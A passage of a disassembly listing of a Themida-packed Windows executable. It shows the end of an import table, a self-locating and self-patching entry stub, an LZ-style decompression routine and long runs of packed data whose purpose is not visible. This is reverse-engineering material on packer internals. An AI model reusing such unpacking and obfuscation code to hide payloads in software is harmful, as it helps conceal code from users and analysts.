a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 486F38A9h, 4B332h, 540A1h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053C7BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053FB14 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053FD8A SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0053FDE3 SIZE 0000000D BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53C7BF
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53C7BF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 1523350h, 7122FFBEh,	38FF0EE1h, 0F9AE4701h, 36A39837h
		dd 0BFA00356h, 0B8012AA4h, 3F848B98h, 3C613AAh,	0A3FA588Ah
		dd 8D037024h, 1D22F977h, 0A5D737C2h, 17E1897h, 6D656854h
		dd 0C2616469h, 0FC75019Dh, 15C29245h, 1721F957h, 30785708h
		dd 312D3834h, 0C8AFAB42h, 0EA43B811h, 736552F0h, 7261741Ch
		dd 2F7041CEh, 9C784F2Eh, 35917523h, 90FF8F70h, 5508F733h
		dd 8F0170FEh, 0C58B70FFh, 6038D4E4h, 5D44E8h, 335FED81h
		dd 95890607h, 0D133D31h, 21EAC1B5h, 294585h, 41E9BD83h
		dd 0C74C010h, 17E88B39h, 2D23B8E2h, 3870DEC2h, 3EE22444h
		dd 6A002F95h, 0C1A3E845h, 749A6829h, 0DFD2F783h, 4B250A80h
		dd 0D5F40A89h, 5214E988h, 80BEEC02h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B00344Dh
; ---------------------------------------------------------------------------
		dw 4845h
		dd 0ED808D8h, 8C78940h,	80E67D81h, 0F74331Dh, 83F90820h
		dd 0FF1024B7h, 0EB4312C3h, 0DC361BE1h, 0C9A02661h, 46A004C2h
		dd 7C34C481h, 497202FFh, 458D2096h, 5D0A8B80h, 1985C708h
		dd 8D505022h, 0C305D10Ah, 89411888h, 0BD810B45h, 145D0610h
		dd 0A127E375h, 6447BA8Dh, 8A807560h, 0F4BB240Eh, 0ABB8805Bh
		dd 0D3785437h, 0F61D07Eh, 0F7754B08h, 29C3AFD8h, 234A4647h
		dd 42F91546h, 8A61D115h, 0F03AD0D0h, 45EEC5FEh,	0EB4D05FCh
		dd 46AD1E04h, 403E8046h, 84BAF729h, 7D3034B7h, 0C87FEB0Ch
		dd 6D66F83Eh, 65F04212h, 1040F40Eh, 0F065C14Ah,	0F8D6A004h
		dd 3E01CD1h, 3328B0C2h,	1C0E8ADBh, 66FB8030h, 1E0A0A72h
		dd 9F057739h, 223379EBh, 0DFB6114h, 0B7660A3Fh,	0A7AF1E08h
		dd 10560AC3h, 7241181Ah, 77460A0Bh, 5124066Fh, 0F05D010Ch
		dd 8339F4ECh, 72028D7Dh, 0C09B0CB0h, 0AAB3A576h, 0E7F82620h
		dd 0B58D03h, 0FC553BA8h, 7854820Fh, 0AAE0B0BDh,	0BA2838DFh
		dd 0B9700870h, 0BDFC7054h, 35DC20h, 49470FFEh, 22B9FA75h
		dd 0BBEE6AE2h, 0F1FA0171h, 0CEB8237h, 868EC08Eh, 1C0837E1h
		dd 1B655107h, 72FF1D36h, 785268Ah, 590500E9h, 8D10DA8Ch
		dd 0F6130267h, 190F8873h, 0B0AEA0Fh, 7FBFEC51h,	0B341F900h
		dd 0C32CB6BEh, 3054FE6Bh, 212704E9h, 8AE4C45Ch,	5255D06h
		dd 60084582h, 5444211Bh, 0F80014C4h, 0D72D0C5Fh, 0CCE08C6Dh
		dd 67FEF19Ch, 40B8BC1Eh, 1034CBCCh, 4E390382h, 100F765Bh
		dd 43D51F0h, 3B76D17Ch,	75584661h, 11D52E09h, 0EC480E80h
		dd 69065E4h, 0C58475A0h, 968E050Ah, 539192F4h, 51C204E1h
		dd 9B718C29h, 760EE7CEh, 2BFF61A8h, 80047781h, 0C1341D22h
		dd 3233F984h, 3FBC2075h, 0CD0AEE0Eh, 0B50130EFh, 8CC4EC41h
		dd 0FFCCCF7Fh, 456740C8h, 6028E9F5h, 52C40062h,	11254D8Ch
		dd 0B142AA82h, 845AAB66h, 56531384h, 825E05F8h,	8154FFEEh
		dd 7DBD2219h, 13B9518Ah, 94972302h, 67610043h, 623734BAh
		dd 0D478F081h, 7DA8D24h, 5E875611h, 6D8A22C4h, 46101531h
		dd 3009C456h, 18D98C67h, 1B3536h, 7DFA8BF5h, 8153DE3Eh
		dd 305E23Ch, 8610CA0Bh,	0EA2B1830h, 469A0B0Eh, 0F22FFC00h
		dd 9488ACFEh, 5AE70119h, 0BE86C823h, 73E6A91Ah,	38A1006h
		dd 0B6B40C0Dh, 820F2AEAh, 0E21FE405h, 1D275D19h, 9E98CF8h
		dd 0A500180Bh, 0B6A686F1h, 5210038Ch, 0BC029582h, 7FBEC535h
		dd 9E868640h, 104686FBh, 2012DFC0h, 0E9300E9Ah,	3F42350Bh
		dd 6EBD0022h, 0F5E62371h, 0BF006790h, 0F960C26Dh, 6427C882h
		dd 4013F96Ah, 66DBE22Ch, 60BC00CCh, 32D73C54h, 87029064h
		dd 0E2AC8834h, 825F8169h, 2CC8BECBh, 8C5C1C7Ah,	1B0D92C4h
		dd 0F2F80C55h, 491A6B95h, 400EFA66h, 0C83EF38Ch, 4B00F420h
		dd 0BB24395Eh, 31AEFEF5h, 8B428A27h, 0C32681E6h, 5305EC84h
		dd 40065250h, 2C8D01CAh, 0F01CAE27h, 8961E0ACh,	203E7700h
		dd 825B6E8Eh, 846AF3FCh, 11F2084Bh, 0E706A3A8h,	1DEAC70Fh
		dd 14C00115h, 0BAA81E63h, 0E7883067h, 21B297FEh, 0EFFEF300h
		dd 0C1853C0Ah, 8D90011h, 3DD7C509h, 7C00834Fh, 664D96D5h
		dd 14B132h, 0BB94561Eh,	46CA8C61h, 498E3401h, 415B7583h
		dd 10483187h, 1C184C7Ah, 0AA21B60Ch, 0E04106Eh,	246F68BEh
		dd 5ACA8E60h, 0E6E0A485h, 0A130E4E8h, 18494088h, 0C88A1871h
		dd 0EAAC70D3h, 118BD900h, 0CA0ECD8Eh, 3EE40343h, 4F19E90h
		dd 3AD1000h, 0CDC2F644h, 4D500067h, 0BD1C8956h,	4002F88h
		dd 26AB13AAh, 60A1856Ah, 0C8F698Eh, 0EC005A40h,	5FD4F38Bh
		dd 4E85C9Ah, 0FFB950C5h, 66D3C788h, 9F1C88D5h, 0CA872390h
		dd 0C77F8F6Eh, 60CF83A6h, 70BD3274h, 9E8C000Ah,	2CF00848h
		dd 0C9007EB8h, 0A5F1AA83h, 0FF2B1D7h, 0B3A649Ah, 0F600DD0Fh
		dd 0C7E451Bh, 61110C1h,	1883DE22h, 0FB33C6A4h, 50C38A6h
		dd 101236EDh, 19456040h, 0CEE274ECh, 0D42B3D00h, 0D9A8B6F2h
		dd 0A10E00C2h, 3171E79Fh, 1100FFB0h, 0D870465Bh, 1E1745D5h
		dd 304310EEh, 0FEAAD769h, 0F6088h, 4DE86404h, 884FCC31h
		dd 84BDFF07h, 0FEC0C926h, 1E660A6h, 0B7DE896Ch,	0BBECEDEEh
		dd 0AB17A849h, 82581E00h, 0FDB38D26h, 0B4B801A6h, 0AAF3886Ah
		dd 0FE698009h, 0C96913Ah, 57EB0021h, 72CB5D38h,	401B99Fh
		dd 0C72DB007h, 3183FD35h, 5A31EE83h, 0BD803Bh, 5593A8F3h
		dd 8BC3BB1Fh, 2E71AED8h, 0B42D4C00h, 264209C6h,	0E9E21D69h
		dd 0C22B407Eh, 4B395402h, 0E452A0A8h, 0F7B83Dh,	1F2C28BFh
		dd 6D41B59h, 0B5270455h, 5A1F704Eh, 4D057371h, 0D4050926h
		dd 8C053AB4h, 0EC408550h, 6E4C9BF6h, 3BCC80FEh,	82888C50h
		dd 0CE59DB0Fh, 498140Ch, 50B8645Bh, 0F3985C6h, 0CC95EAE9h
		dd 75FABE81h, 80CAEC2Dh, 0B8707D7Dh, 0A245730Ch, 0C195826h
		dd 43310F24h, 0ABFE2199h, 17F75305h, 8440C8BBh,	0C0F9A30Eh
		dd 0E56FC61h, 0FA995B9Ch, 46558DE0h, 2515D30Ch,	0D8881Fh
		dd 2CFE78C5h, 89B805EFh, 0FBAAD4CEh, 751B80C1h,	0EE002B7Eh
		dd 29201724h, 0D4D27D5Eh, 8BC02049h, 0E311390Fh, 50F64E06h
		dd 1E9A884h, 5CA15B46h,	24B7529Dh, 0B0184A3Ch, 0F968D032h
		dd 0CC4C5439h, 386A00DFh, 1A97082h, 9319C3A6h, 94A85CA2h
		dd 5DC0A444h, 60F036D9h, 68F9108Bh, 5B1555F4h, 784C7BBh
		dd 64FD698Ch, 0C10EB7D0h, 9E99584Ah, 3A6A5B09h,	40420404h
		dd 17641221h, 169AEAE9h, 0EA4057h, 656AB7B7h, 540325C5h
		dd 7A504843h, 44D1099Bh, 0B480D96Bh, 4318E4FAh,	49018805h
		dd 70035F9Dh, 7CA38750h, 0AAE81531h, 1800940Fh,	0F96F2AD8h
		dd 8C0074D4h, 0D67FDB53h, 5F0716h, 806AF3FEh, 484C5185h
		dd 4698CA08h, 0D02C94C1h, 1AF21A10h, 80F1D9BBh,	72D0CFA8h
		dd 0E487043Eh, 90F4EED4h, 0C5BB2394h, 629188h, 4134A62Eh
		dd 72D856EEh, 4FE61A00h, 0B6ABF7ECh, 1EF60AB9h,	1CF47AE7h
		dd 6B26C652h, 3703D8DFh, 883FF8C8h, 0D75103CBh,	95FDB0CEh
		dd 3EAD9005h, 3C00A807h, 81A05B15h, 4A053026h, 6FF15350h
		dd 7470A848h, 638F6000h, 0BEADFDBBh, 2B790055h,	1978F703h
		dd 0D200820Ah, 0C92AF1E3h, 0F6BC637Ch, 0E1CB3F05h, 3E70E80h
		dd 5DAC0146h, 2410D30Fh, 72ED0304h, 0A451E04Bh,	0D6580044h
		dd 0E3B9708Fh, 0D1002A89h, 0ACD02687h, 2CCA802h, 0BBF21220h
		dd 0CE0BD93h, 8107EB49h, 34B59D6Fh, 36D6A7A0h, 80715014h
		dd 13D7F4E3h, 304DF6C0h, 37D28724h, 7D3B0A38h, 8B9E773Ch
		dd 8AE65943h, 6001508Bh, 5CCE16ECh, 485A9670h, 1051A82Ah
		dd 151B20D2h, 18D2FAE2h, 0BE431B00h, 0FE079BFCh, 2827F8BAh
		dd 4CA05359h, 131010B7h, 164314DDh, 0B0049FC4h,	0FF1EDB26h
		dd 0CB31781h, 2403A93Ah, 1F001A3Ch, 0D971C944h,	0F00485BEh
		dd 586A60E5h, 0FF5D12B6h, 38345977h, 0AF80B892h, 75804AD2h
		dd 0A158C14Fh, 8322BA54h, 0BEB06AA8h, 2D7100C1h, 35F55BEEh
		dd 0F6378854h, 0CCF1A1D0h, 5824A6B0h, 0DE151873h, 8212400Ah
		dd 52DC5F48h, 0B41F2654h, 120B5A08h, 0B93445CAh, 0CEA8028Dh
		dd 0E302A780h, 899CA397h, 0B5F1F808h, 71777485h, 8F1738DBh
		dd 542DEC00h, 86DE732Ch, 507C420Ah, 0A340B883h,	8024D66Ch
		dd 9415C463h, 0A4B260h,	0E1E2F5A6h, 0A37A74C6h,	0C7D3A8FCh
		dd 0E8994934h, 82EA5600h, 2968FC33h, 21CB1232h,	26832289h
		dd 5ACF088h, 460732C6h
		dd 819CE3C0h, 4ADA5F01h, 5A0AFF36h, 69334184h, 49F642A4h
		dd 8107026Dh, 8B40CE1h,	88CB334h, 0D5004DEDh, 7E1B068Ah
		dd 0B828C2C0h, 0D82002A9h, 0FED9DB19h, 6B930086h, 62D17EC5h
		dd 0DA503A98h, 51034CCCh, 7B18D2F3h, 1421895Ch,	0AAFCC3E6h
		dd 0C11E0443h, 82D8B0F8h, 0ACE6E889h, 0AE90837Bh, 0F0D940A2h
		dd 0CE00E582h, 0A760C788h, 92D7B760h, 4020B004h, 36141D6Bh
		dd 55E89AC8h, 0CE6AA80h, 0E0E1F717h, 0D1197C06h, 0C72B0C71h
		dd 44699FE4h, 118B7E07h, 10EC3FAh, 175AA36Bh, 0A8B7EC30h
		dd 9D945E4h, 465253CCh,	23CA8807h, 9018D4E2h, 0E359C6BCh
		dd 202C034Ah, 4D953C63h, 0D0FA54E8h, 61B9A0Ah, 9007781Ch
		dd 32538412h, 0E0C00480h, 19EB4CEh, 71DB1E83h, 98D0F852h
		dd 40AD16D0h, 0E6135C5Fh, 244C6D8Dh, 3B98C993h,	0DB80143Bh
		dd 0F0D5CA69h, 0A8005E38h, 0FF133023h, 6665D1Fh, 0AAD84975h
		dd 9B3F5908h, 710280C3h, 681D7EDAh, 7DC60694h, 0B1DCBA8Bh
		dd 0A5257600h, 0B3369D60h, 0C581FD5h, 81D7837Eh, 810099E4h
		dd 3B69AF48h, 10F1A2h, 1F225E4Dh, 4439E8F4h, 73E2709Ah
		dd 9FE9C601h, 7527BDA2h, 0B81D8AFCh, 0D05500ABh, 5A8606DBh
		dd 6460D9E6h, 0A9272BE0h, 3254BA60h, 0E31902CEh, 0AC93E090h
		dd 0FE573A1Dh, 7903576Ch, 0A0361961h, 327C1118h, 42C2A3BDh
		dd 604446E2h, 2C89CD30h, 1047E2Fh, 62ADB64Bh, 0FC4337E6h
		dd 73E9D4CCh, 27DC1F24h, 490CFA97h, 77A89E74h, 10B8491Eh
		dd 41ED1A00h, 0C9230F2h, 0C5AAB112h, 2D1EE020h,	57E1806Ch
		dd 20250625h, 18E6E0CCh, 0ACFCA093h, 38E6CEA1h,	21051098h
		dd 84C614A8h, 49E39940h, 44002427h, 17229F5Bh, 0B8805341h
		dd 94B93B63h, 0CA825CC8h, 0A0687288h, 3B03DDACh, 115A3718h
		dd 0EC87C482h, 96F28008h, 4A882175h, 44FED90Ch,	485B70A8h
		dd 0E6CE8443h, 46748620h, 1C131988h, 0A0257950h, 17EC1CC9h
		dd 0EA1E0091h, 4920D4B8h, 0F5006F67h, 68DF10F8h, 95B8903h
		dd 1A4A1579h, 7C17D403h, 5C624D98h, 49927705h, 3C400BCCh
		dd 325FBA2Eh, 0AE131660h, 0DA50041Ah, 19A00D9h,	0B22E8050h
		dd 4A5DFEA8h, 0CA001FEh, 70BDEFFCh, 9D72A63Dh, 5172C0Ch
		dd 9DA1059h, 0E827069Ch, 902974A0h, 5433815Bh, 0C9CC4132h
		dd 4065D186h, 1956BC00h, 0FDA63245h, 2E1B220h, 0E31051C5h
		dd 1A885091h, 97008670h, 9B1D3A9Eh, 1F4195Fh, 0ABA9E883h
		dd 5752FF4Eh, 5C11A1E4h, 0FDDC304Ah, 6D0E1084h,	28B83041h
		dd 5D3645ACh, 0F331A05Ah, 427C6E8h, 8986880Dh, 38F8F441h
		dd 0F0AA1894h, 0C30DF9Fh, 9638D69Fh, 94AC0640h,	4F69424h
		dd 6D819E1h, 3C413458h,	0C1E4C271h, 1A152100h, 0B441823Bh
		dd 4B2FD28h, 50CC98h, 0C4BF393Ch, 1AB551EDh, 6A65401h
		dd 0DE6DAD10h, 80F468C2h, 0F1E94141h, 5F688808h, 5DE60298h
		dd 701048Eh, 44E4C663h,	0E4220087h, 6B15AF55h, 75E2F641h
		dd 94FDB626h, 0F5879821h, 4C8459D3h, 0A83020D7h, 9BBDBFh
		dd 2F3255EAh, 0B4E12B88h, 365B2E0Ch, 59FF2958h,	0E3041CB8h
		dd 0B046B338h, 0A41461ECh, 4C28C6D6h, 718D10D4h, 0B3995A08h
		dd 4D272C2Ah, 0CCCC021Eh, 0AA0890BAh, 79B4A87Fh, 41896FEFh
		dd 40681712h, 0CC8FE1F8h, 84A856B8h, 363053F9h,	4DFA7950h
		dd 69347D13h, 0EC82214Ah, 0B920FC36h, 0A8EE5343h, 54751918h
		dd 3234D806h, 8F71B072h, 0A0AE3C23h, 28516B96h,	861F65h
		dd 0D83A33D1h, 4DAD2AC0h, 12410E63h, 48F58ABAh,	3DD9BF18h
		dd 0A854B8F4h, 0EA3A1E4Fh, 0F5B10039h, 48C6D778h, 0FF7989C5h
		dd 0AAD39820h, 0BB4388ACh, 0BC4A0326h, 66A0C501h, 2CFCAE61h
		dd 4E6E00E7h, 8DDA9BDh,	34007F63h, 20EDBF57h, 9B90C3h
		dd 0D766BC87h, 9891387Eh, 0FBA823Ch, 20EA555Eh,	8F5B74DFh
		dd 76C43EFAh, 2E3B3C00h, 0D970CEA2h, 9C0C967Dh,	40255ABBh
		dd 0F18BF293h, 19EABF00h, 0B616D400h, 1CE0EC8Ah, 0D72D006Fh
		dd 5CEDBB14h, 8B0F8385h, 6025AC9Ch, 96888A7Fh, 66AD009Fh
		dd 1A97B155h, 0B62968D4h, 0A415EC94h, 50F9AA04h, 98AC5AF8h
		dd 16D62812h, 0F7F9D800h, 2D771Ah, 0EC7C6F3Fh, 84D13859h
		dd 1CBB8A03h, 0E0376D25h, 0FAFF9098h, 40556052h, 0D8096EE0h
		dd 1085F700h, 14242C6Fh, 4BFA00C9h, 0C7939631h,	0B50039C6h
		dd 9A90CD17h, 8366E38Fh, 6DE122F8h, 85FD80h, 3B426401h
		dd 5DF6C714h, 0A783DC00h, 0E11CBFF5h, 8CF023h, 38C0A09Ah
		dd 22A1E351h, 973D500h,	2D2FBBFh, 38404C64h, 75949177h
		dd 0A9FC68D1h, 64DB001Eh, 85FA8A5Bh, 42036F73h,	0F2C4143Ah
		dd 8B93C94Bh, 66A2F8h, 91DD6CE3h, 31ADCC8Dh, 9C555B3Bh
		dd 0B280E721h, 1AC4A9D4h, 7E2D0065h, 4C08D361h,	58018EC2h
		dd 0D916C3E4h, 8DF8C96Eh, 40FF60C8h, 0E6209757h, 7A9B680h
		dd 446F75DBh, 0EEBF307Eh, 7A00375Fh, 22A2B74Fh,	0FCCD7125h
		dd 0AD8B009Eh, 97B9A532h, 2100D42Ch, 0DAF6BD59h, 59447175h
		dd 0A8AB8C80h, 591D0099h, 0DF1EEAAEh, 0BC035B73h, 7604C9F9h
		dd 0F0148880h, 9E5140EBh, 23A19B00h, 0CF3562D7h, 0AE8B0E91h
		dd 0AD606766h, 4A6C2221h, 0F5F8D103h, 0C8406E74h, 0B3C057h
		dd 4E95DB59h, 0E72DBF83h, 0F40194FCh, 37FAA098h, 19D8A9A5h
		dd 5D6200E5h, 585EDCCh,	3F007F59h, 4AEAEE14h, 604E8432h
		dd 71E87081h, 92038EC9h, 0A55CBB8Fh, 0D328B09Eh, 0D84F0021h
		dd 6747E0F5h, 150B4042h, 477B3D0h, 0CE4095ACh, 8D7D3716h
		dd 4688C252h, 8EECFF04h, 0C5450D2Ch, 60477500h,	7D6901A3h
		dd 26B1293Dh, 3F035634h, 1B25B92Ch, 6F12E851h, 2DA35C37h
		dd 15F48409h, 0BB1E60C5h, 0B9186E59h, 60BC46F0h, 19F721D3h
		dd 59064BBAh, 58A81F75h, 21CA6009h, 1DBA0197h, 0BBD81600h
		dd 0E6CD1C8Eh, 0FA44009Ah, 0BDDDA505h, 81270E82h, 0FBD84042h
		dd 5B6301A1h, 0E5EF04F1h, 2C422F70h, 20DE89C8h,	76B834D9h
		dd 0A40150BCh, 514B44A3h, 0B4B33892h, 75001F30h, 0DD9AA713h
		dd 5650CAC0h, 42201C90h, 0E8D1704Ah, 7AC498CEh,	0ADFD024Ah
		dd 0BC531C03h, 3A801C76h, 0FBB68C8h, 9BF500A1h,	0F43322B4h
		dd 720059E6h, 0B37E295Fh, 398B5145h, 0CC861D80h, 70E72698h
		dd 0B18193Ch, 0C9F6AA90h, 19C2CEACh, 0B40814A3h, 0BA20C04Dh
		dd 3D465944h, 9E00C422h, 8B0EBA08h, 0C07297B4h,	0DC6B46E1h
		dd 151528DEh, 2134086Eh, 804B9197h, 594ABA1Ah, 0CF448C0Dh
		dd 0BA020398h, 0C678CEB4h, 431C7F8h, 1B3C259Fh,	0CCBD2400h
		dd 0E6B843CAh, 2F3E980h, 0C6595690h, 0E4878AC8h, 365BC055h
		dd 10C09F28h, 96E5B27Bh, 0DD340C53h, 0CA58FAA9h, 0C77A9019h
		dd 5E2BBB40h, 6E0C00C4h, 0C8B9314Bh, 7F4EA3Dh, 6C0A0563h
		dd 0FCE0C0BBh, 22C9127h, 594F365Ch, 92112C56h, 0A796F000h
		dd 6B5C99E4h, 5495F800h, 0BA1EC10Ch, 0D97F0405h, 0ED845048h
		dd 0BE5100C0h, 8849D1CCh, 3B14EEE4h, 260D9A63h,	5B680CE2h
		dd 0B652C090h, 16984FEh, 1978862Bh, 30A4E75h, 0F3A7E101h
		dd 0F1D61C20h, 0D24DAD00h, 82EFB41h, 210FDCE4h,	17FAA114h
		dd 7C424C0Dh, 89B12029h, 0F90C2505h, 59946354h,	55FB092Bh
		dd 8020B440h, 0B7E15651h, 8877CA03h, 4F3F32D3h,	78249008h
		dd 0FF38E14Eh, 981ABDCCh, 2B881D62h, 0F1902F9h,	95268402h
		dd 8A00485Eh, 5D3790C0h, 19FB0929h, 5CD0364Dh, 0DCF0121Fh
		dd 1042160Dh, 2650C048h
		dd 4F3C9A80h, 0A9009495h, 0B0089FB4h, 9D184A01h, 1731B55Ch
		dd 0D1E603B2h, 0F477841Ch, 153D023h, 0CA89E154h, 88481847h
